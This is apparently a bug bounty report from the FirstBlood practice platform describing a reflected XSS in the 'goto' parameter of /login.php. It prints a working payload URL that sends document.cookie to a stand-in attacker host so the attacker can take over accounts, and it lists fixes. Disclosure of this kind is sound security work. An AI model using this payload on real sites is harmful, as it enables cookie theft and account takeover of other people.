FirstBlood-#465Reflected XSS on /login.php through the "goto" parameter leading to ATO
This issue was discovered on FirstBlood v2



On 2021-10-25, holybugx Level 5 reported:

Description

Hello Sean,

Reflected XSS on /login.php is possible through the hidden goto parameter, which leads to various user's account takeover.

There are two scenarios to exploit this vulnerability on this endpoint:

  1. Exploiting a logged-in doctor

  2. Exploiting a not logged-in doctor

In this report, I have declared how an attacker is able to take over a logged-in doctor's account using this XSS.

Background

Discovering hidden GET parameters are important when we are facing an endpoint, especially with Login and Registration. There are various tools that are capable of finding the hidden parameters. I used Arjun on the /login.php endpoint and found the hidden goto parameter:

The value of this parameter is reflected directly into the source code:

Then I realized that XSS is also possible as the proper input validation was not in place.

Steps To Reproduce

  1. Open the following link and you will be redirected to the attacker's website and your cookies will be sent over as well:

https://firstbloodhackers.com/login.php?goto=xyz%22%20autofocus%20onfocusin=%22window.location.href=`http://Attacker.com/?${document.cookie}`%22%3E

  • Here is how it looks after the victim clicks the malformed attacker's URL:

An attacker can use the stolen cookies to takeover various user's accounts including the drAdmin account.

Impact

  • XSS leading to one-click account takeover of various users and admins.

Remediation

  • Implement proper sanitization on the goto parameter.
  • Set httponly cookies so that javascript can not access the cookies.
  • Remove/Expire the drps cookies after logging out.

Kind Regards,

HolyBugx

P3 Medium

Endpoint: login.php

Parameter: goto

Payload: xyz%22%20autofocus%20onfocusin=%22window.location.href=`http://Attacker.com/?${document.cookie}`%22%3E


FirstBlood ID: 26
Vulnerability Type: Reflective XSS

The developers thought they had fixed ?goto= when reflected in an input tag on login.php from a similar bug (ID 39), but because this endpoint uses legacy code their changes were not applied here and thus the XSS was forgotten.